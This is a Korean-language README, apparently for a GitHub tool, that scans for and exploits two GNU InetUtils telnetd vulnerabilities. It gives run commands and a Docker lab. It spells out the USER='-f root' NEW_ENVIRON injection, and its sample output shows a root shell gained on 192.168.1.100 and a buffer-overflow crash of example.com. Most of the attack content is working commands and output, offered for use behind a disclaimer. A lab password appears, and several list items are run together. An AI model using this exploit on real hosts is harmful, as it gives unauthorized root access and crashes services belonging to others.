
스캐너/익스플로이터 CVE-2026-24061 & CVE-2026-32746
GNU InetUtils telnetd에서 두 가지 심각한 취약점을 탐지하고 (해당되는 경우) 악용하는 Python 기반 보안 평가 도구입니다:
USER 환경 변수 주입을 통한 인증 우회 (CVSS 9.8)이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.
소유하지 않거나 명시적인 테스트 허가를 받지 않은 시스템에 무단으로 사용하는 것은 불법입니다. 저자는 이 도구의 오용이나 이로 인한 손해에 대해 어떠한 책임도 지지 않습니다. 사용에 따른 모든 위험은 사용자 본인에게 있습니다.

TELNET_SCAN_VERBOSE=1 설정 시 모든 IAC 패킷 및 단계별 익스플로잇 설명 확인git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
실제 시스템을 위험에 빠뜨리지 않고 알려진 취약 대상에 대해 익스플로잇을 테스트합니다:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# 대상: 127.0.0.1, 포트: 2323
실습 환경은 격리된 컨테이너에서 취약한 GNU InetUtils 2.5 telnetd를 실행하며, 로컬호스트에만 바인딩됩니다. 네트워크에 노출되지 않습니다.
Telnet 핸드셰이크를 디버깅하고 네트워크 상에서 정확히 어떤 일이 일어나는지 확인합니다:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
상세 출력 내용:

1 선택192.168.1.100 또는 example.com)23)1 – 두 취약점 모두2 – CVE-2026-24061만 (인증 우회)3 – CVE-2026-32746만 (버퍼 오버플로우)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# 이 줄은 주석입니다 - 무시됨
2 선택23)CVE-2026-24061이 성공한 경우:
id, whoami, ls)Ctrl+C를 눌러 쉘을 종료하고 스캐너 메뉴로 돌아갑니다별도의 터미널이나 추가 단계가 필요하지 않습니다.
익스플로잇은 실제 GNU InetUtils telnetd와의 호환성을 보장하기 위해 정확한 6단계 telnet 핸드셰이크를 따릅니다:
DO 옵션 대기TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON 응답NEW_ENVIRON 하위 협상을 통해 USER="-f root" 설정SGA, ECHO, LINEMODE, NAWS에 대한 DO/WILL 응답# , , 또는 프롬프트 감지Keepalive 스레드는 2초마다 IAC NOP을 전송하여 telnetd의 ttloop()가 EOF를 감지하고 페이로드가 처리되기 전에 exit(1)을 호출하는 것을 방지합니다.
취약한 telnetd는 /usr/bin/login에 -f root를 전달하여 인증을 우회하고 즉시 루트 쉘 접근을 허용합니다.
LINEMODE 옵션(RFC 1184) 협상=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[STEP 1/6] Waiting for server negotiation (may take up to 15s)...
[STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
decoded: IAC DO TERMINAL-TYPE
decoded: IAC DO TERMINAL-SPEED
decoded: IAC DO X-DISPLAY-LOCATION
decoded: IAC DO NEW-ENVIRON
[STEP 2/6] Responding WILL to all DO options
[STEP 3/6] Waiting for SB SEND subnegotiation requests...
[STEP 4/6] Sending subnegotiation responses...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[STEP 5/6] Handling remaining option negotiations...
[STEP 5/6] Text received: 'root@vuln-lab:~# '
[RESULT] SUCCESS: Passwordless root login via USER="-f root" injection
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
취약한 시스템을 발견한 경우 다음 수정 사항을 적용하십시오:
-f로 시작하는 NEW_ENVIRON USER 값이 있는 연결 확인포함된 lab/ 디렉토리는 안전하고 재현 가능한 테스트 환경을 제공합니다:
cd lab
docker compose up -d
# telnetd 초기화를 위해 약 10초 대기
python3 ../telnet_scanner.py
# 대상: 127.0.0.1, 포트: 2323
실습 환경 특징:
labuser:labpass123)실습 환경 종료:
cd lab && docker compose down

@leetcrypt에게 특별히 감사드립니다 – 적절한 6단계 핸드셰이크, keepalive 스레드, 상세 모드, Docker 실습 환경이 훌륭합니다!
면책 조항: 승인된 보안 테스트 및 교육 목적으로만 사용하십시오.
root@$